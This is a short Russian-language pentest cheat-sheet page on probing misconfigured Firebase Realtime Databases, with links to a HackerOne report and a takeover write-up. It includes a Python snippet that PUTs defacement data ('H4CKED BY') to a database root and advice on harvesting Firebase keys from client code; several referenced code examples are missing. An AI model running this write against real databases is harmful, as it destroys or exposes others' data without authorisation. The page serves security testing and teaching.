Пробуем
Copy https://<databasename>.firebaseio.com/.json
Copy import requests
data = { " Exploit " : " Successfull " , " H4CKED BY " : " zfr " }
reponse = requests . put ( " https://my-proj.firebaseio.com/.json " , json = data ) Если потом через Get сможем запросить — уязвимо: https://hackerone.com/reports/1065134arrow-up-right
Firebase Database Takeover
Пример пентеста с плохо сконфигурированной базой - https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1arrow-up-right
Пример поиска и эксплуатации ключей Firebase
Ищем по коду подобные константы:
Firebase Realtime Database
Эта база не только для сбора аналитики, ее используют как API Gateway / Message Broker (клиенты общаются с базой Firebase, а не с сервером напрямую, а сервер читает запросы из базы и возвращает в базу ответы, которые уже клиент потом вычитывает)
https://firebase.google.com/docs/database?authuser=0arrow-up-right
Используем официальный клиент firebase
Тут важно разузнать, какой версии API используется в проекте
Это старое API (^8.10.1, с ref и push/key/once):
Новое API выглядит как-то так:
Используем pyrebase
Пример работы с firebase базой с помощью pip install pyrebase
Этот код отработает, если выставлены permissions на чтение для apiKey
В документации pyrebase можно найти другие примеры по работе с Firebase.
Last updated 2 months ago